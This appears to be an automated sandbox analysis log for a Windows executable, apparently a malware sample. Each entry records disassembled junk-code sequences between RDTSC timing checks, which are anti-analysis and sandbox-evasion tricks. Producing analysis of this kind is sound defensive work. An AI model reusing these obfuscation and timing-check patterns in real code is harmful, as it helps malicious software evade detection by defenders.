Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6AC33 second address: E6ACDB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F17B0FD572Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F17B0FD5728h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov esi, edi 0x00000027 jmp 00007F17B0FD5735h 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ebp 0x00000031 call 00007F17B0FD5728h 0x00000036 pop ebp 0x00000037 mov dword ptr [esp+04h], ebp 0x0000003b add dword ptr [esp+04h], 00000016h 0x00000043 inc ebp 0x00000044 push ebp 0x00000045 ret 0x00000046 pop ebp 0x00000047 ret 0x00000048 cld 0x00000049 push 00000000h 0x0000004b push 00000000h 0x0000004d push ebp 0x0000004e call 00007F17B0FD5728h 0x00000053 pop ebp 0x00000054 mov dword ptr [esp+04h], ebp 0x00000058 add dword ptr [esp+04h], 00000018h 0x00000060 inc ebp 0x00000061 push ebp 0x00000062 ret 0x00000063 pop ebp 0x00000064 ret 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 jng 00007F17B0FD5737h 0x0000006e jmp 00007F17B0FD5731h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6AB07 second address: E6AB0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6ACDB second address: E6ACE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6BD91 second address: E6BD9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F17B0EA9AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6B4B5 second address: E6B4B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6B4B9 second address: E6B4BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6C8FA second address: E6C8FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6B4BD second address: E6B4DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F17B0EA9ABCh 0x0000000c jo 00007F17B0EA9AB6h 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jbe 00007F17B0EA9AB6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6C8FE second address: E6C913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F17B0FD572Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6B4DB second address: E6B4E1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6C913 second address: E6C9B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FD5738h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F17B0FD5728h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 call 00007F17B0FD5731h 0x00000029 jmp 00007F17B0FD572Eh 0x0000002e pop edi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push eax 0x00000034 call 00007F17B0FD5728h 0x00000039 pop eax 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc eax 0x00000047 push eax 0x00000048 ret 0x00000049 pop eax 0x0000004a ret 0x0000004b push 00000000h 0x0000004d push edi 0x0000004e xor dword ptr [ebp+122D3228h], edx 0x00000054 pop esi 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F17B0FD5732h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E28E90 second address: E28EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F17B0EA9AC2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E28EA8 second address: E28EB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E28EB1 second address: E28EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E6EA6B second address: E6EA87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F17B0FD5736h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E72AA7 second address: E72AB2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007F17B0EA9AB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E758FB second address: E75905 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F17B0FD5726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E75905 second address: E7590B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E7590B second address: E7591A instructions: 0x00000000 rdtsc 0x00000002 js 00007F17B0FD5726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E770D7 second address: E770DC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E770DC second address: E7713E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a pushad 0x0000000b jo 00007F17B0FD572Ch 0x00000011 sub dword ptr [ebp+122D2A06h], eax 0x00000017 cld 0x00000018 popad 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F17B0FD5728h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 0000001Bh 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 mov dword ptr [ebp+122D57FEh], edi 0x0000003b mov dword ptr [ebp+122D2A88h], eax 0x00000041 push 00000000h 0x00000043 jmp 00007F17B0FD572Eh 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c push eax 0x0000004d pop eax 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E7713E second address: E77143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E780F3 second address: E7815A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FD5735h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F17B0FD5728h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 nop 0x00000013 mov edi, dword ptr [ebp+122D2E87h] 0x00000019 push 00000000h 0x0000001b call 00007F17B0FD5730h 0x00000020 call 00007F17B0FD5734h 0x00000025 mov ebx, eax 0x00000027 pop ebx 0x00000028 pop edi 0x00000029 push 00000000h 0x0000002b mov di, ax 0x0000002e xchg eax, esi 0x0000002f push eax 0x00000030 push edx 0x00000031 jp 00007F17B0FD572Ch 0x00000037 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E7815A second address: E78183 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F17B0EA9AC8h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E7837D second address: E7838C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F17B0FD5726h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E79363 second address: E7936D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F17B0EA9ABCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E7C0BA second address: E7C0C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E7C0C0 second address: E7C0C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E7C0C5 second address: E7C0E1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F17B0FD5728h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F17B0FD572Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E7C0E1 second address: E7C0E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E7C0E5 second address: E7C0EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E7C0EB second address: E7C0F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E7C0F1 second address: E7C0F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E7C2A0 second address: E7C2A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E83658 second address: E83660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E83660 second address: E83664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E83664 second address: E8367D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jmp 00007F17B0FD572Dh 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E856E6 second address: E856F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E857F6 second address: E857FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E8B177 second address: E8B18A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F17B0EA9AB6h 0x0000000a pop edi 0x0000000b je 00007F17B0EA9AC9h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E8D81E second address: E8D871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jp 00007F17B0FD573Eh 0x0000000e jmp 00007F17B0FD572Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F17B0FD572Eh 0x0000001a jmp 00007F17B0FD572Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E8D871 second address: E8D875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E8D875 second address: E8D87B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E8E23B second address: E8E257 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0EA9AC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E917A8 second address: E917AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E917AC second address: E917B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E917B0 second address: E917BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F17B0FD5726h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E90EFC second address: E90F08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E90F08 second address: E90F0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E90F0C second address: E90F1A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F17B0EA9AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E90F1A second address: E90F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E90F1E second address: E90F22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E910AC second address: E910CA instructions: 0x00000000 rdtsc 0x00000002 js 00007F17B0FD5726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F17B0FD5734h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E91336 second address: E9133C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E9133C second address: E91340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E91340 second address: E91350 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F17B0EA9ABAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E91350 second address: E91361 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jbe 00007F17B0FD5726h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E95606 second address: E95610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F17B0EA9AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E95610 second address: E95614 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E9570B second address: E9570F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E9570F second address: E95725 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F17B0FD5726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F17B0FD572Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E95725 second address: E95729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E95729 second address: E95738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E95877 second address: E958CE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jl 00007F17B0EA9AB6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jg 00007F17B0EA9AC4h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 pushad 0x00000018 jmp 00007F17B0EA9AC1h 0x0000001d push ecx 0x0000001e jne 00007F17B0EA9AB6h 0x00000024 pop ecx 0x00000025 popad 0x00000026 mov eax, dword ptr [eax] 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F17B0EA9AC2h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E958CE second address: E958D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E9C831 second address: E9C85C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0EA9AC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F17B0EA9AC0h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E1ED07 second address: E1ED0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E9BBBF second address: E9BBDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0EA9AC5h 0x00000007 jg 00007F17B0EA9ABEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E9BFE2 second address: E9BFE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E9C111 second address: E9C128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F17B0EA9AB6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jng 00007F17B0EA9AB6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E9C680 second address: E9C69D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F17B0FD5726h 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007F17B0FD572Eh 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E9C69D second address: E9C6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F17B0EA9AC7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA384E second address: EA3852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA3852 second address: EA3878 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0EA9AC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F17B0EA9ABBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA6FE8 second address: EA6FED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E7394A second address: E7395F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0EA9ABAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E73A81 second address: E73A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E73C47 second address: E73C4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E73C90 second address: E73CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F17B0FD5731h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F17B0FD5728h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 xor dword ptr [ebp+12492BF3h], ebx 0x0000002e nop 0x0000002f push eax 0x00000030 push edx 0x00000031 push esi 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E73CD9 second address: E73CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E73CDE second address: E73CE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E73CE4 second address: E73CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E73DF2 second address: E73DF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
